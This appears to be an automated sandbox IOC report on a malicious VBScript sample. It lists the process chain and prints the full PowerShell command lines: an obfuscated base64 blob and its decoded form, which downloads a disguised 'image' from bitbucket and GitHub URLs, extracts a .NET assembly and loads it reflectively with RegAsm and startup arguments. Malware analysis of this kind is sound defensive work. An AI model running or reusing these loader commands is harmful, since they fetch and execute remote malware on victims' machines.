IOC Report
OGo8AQxn4k.vbs

OGo8AQxn4k.vbs

ASCII text, with CRLF line terminators

initial sample

C:\Windows\System32\wscript.exe

C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\OGo8AQxn4k.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gc#Z#Bm#GY#ZgBm#GY#ZgBm#GY#LwBk#GQ#Z#Bk#GQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#Gk#bQBn#F8#d#Bl#HM#d##u#Go#c#Bn#D8#MQ#x#Dg#MQ#x#Dc#Mw#1#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#HI#YQB3#C4#ZwBp#HQ#a#B1#GI#dQBz#GU#cgBj#G8#bgB0#GU#bgB0#C4#YwBv#G0#LwBz#GE#bgB0#G8#bQBh#Gw#bw#v#GE#dQBk#Gk#d##v#G0#YQBp#G4#LwBp#G0#ZwBf#HQ#ZQBz#HQ#LgBq#H##Zw#/#DE#N##0#DQ#MQ#3#DI#Mw#n#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#I##9#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I##k#Gw#aQBu#Gs#cw#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#Gk#Zg#g#Cg#J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##LQBu#GU#I##k#G4#dQBs#Gw#KQ#g#Hs#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBU#GU#e#B0#C4#RQBu#GM#bwBk#Gk#bgBn#F0#Og#6#FU#V#BG#Dg#LgBH#GU#d#BT#HQ#cgBp#G4#Zw#o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#FM#V#BB#FI#V##+#D4#Jw#7#C##J#Bl#G4#Z#BG#Gw#YQBn#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#RQBO#EQ#Pg#+#Cc#Ow#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#KQ#7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bl#G4#Z#BG#Gw#YQBn#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#C0#ZwBl#C##M##g#C0#YQBu#GQ#I##k#GU#bgBk#Ek#bgBk#GU#e##g#C0#ZwB0#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ck#I#B7#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##Kw#9#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bi#GE#cwBl#DY#N#BM#GU#bgBn#HQ#a##g#D0#I##k#GU#bgBk#Ek#bgBk#GU#e##g#C0#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#GI#YQBz#GU#Ng#0#EM#bwBt#G0#YQBu#GQ#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#FM#dQBi#HM#d#By#Gk#bgBn#Cg#J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Cw#I##k#GI#YQBz#GU#Ng#0#Ew#ZQBu#Gc#d#Bo#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#GM#bwBt#G0#YQBu#GQ#QgB5#HQ#ZQBz#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBD#G8#bgB2#GU#cgB0#F0#Og#6#EY#cgBv#G0#QgBh#HM#ZQ#2#DQ#UwB0#HI#aQBu#Gc#K##k#GI#YQBz#GU#Ng#0#EM#bwBt#G0#YQBu#GQ#KQ#7#C##J#Bs#G8#YQBk#GU#Z#BB#HM#cwBl#G0#YgBs#Hk#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FI#ZQBm#Gw#ZQBj#HQ#aQBv#G4#LgBB#HM#cwBl#G0#YgBs#Hk#XQ#6#Do#T#Bv#GE#Z##o#CQ#YwBv#G0#bQBh#G4#Z#BC#Hk#d#Bl#HM#KQ#7#C##J#B0#Hk#c#Bl#C##PQ#g#CQ#b#Bv#GE#Z#Bl#GQ#QQBz#HM#ZQBt#GI#b#B5#C4#RwBl#HQ#V#B5#H##ZQ#o#Cc#d#Bl#HM#d#Bw#G8#dwBl#HI#cwBo#GU#b#Bs#C4#S#Bv#G0#ZQ#n#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bt#GU#d#Bo#G8#Z##g#D0#I##k#HQ#eQBw#GU#LgBH#GU#d#BN#GU#d#Bo#G8#Z##o#Cc#b#Bh#Cc#KQ#u#Ek#bgB2#G8#awBl#Cg#J#Bu#HU#b#Bs#Cw#I#Bb#G8#YgBq#GU#YwB0#Fs#XQBd#C##K##n#C##d#B4#HQ#LgBt#H##YwBm#FM#bgBr#C8#cwBk#GE#bwBs#G4#dwBv#GQ#LwBm#Hc#Zg#v#Hc#ZgBz#GY#dwBm#C8#ZwBy#G8#LgB0#GU#awBj#HU#YgB0#Gk#Yg#v#C8#OgBz#H##d#B0#Gg#Jw#s#C##Jw#w#Cc#L##g#Cc#UwB0#GE#cgB0#HU#c#BO#GE#bQBl#Cc#L##g#Cc#UgBl#Gc#QQBz#G0#Jw#s#C##Jw#w#Cc#KQ#p#H0#fQ#=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('#','A') ));powershell.exe $OWjuxD .exe -windowstyle hidden -exec

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/gdffffffff/ddddd/downloads/img_test.jpg?11811735', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] (' txt.mpcfSnk/sdaolnwod/fwf/wfsfwf/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}" .exe -windowstyle hidden -exec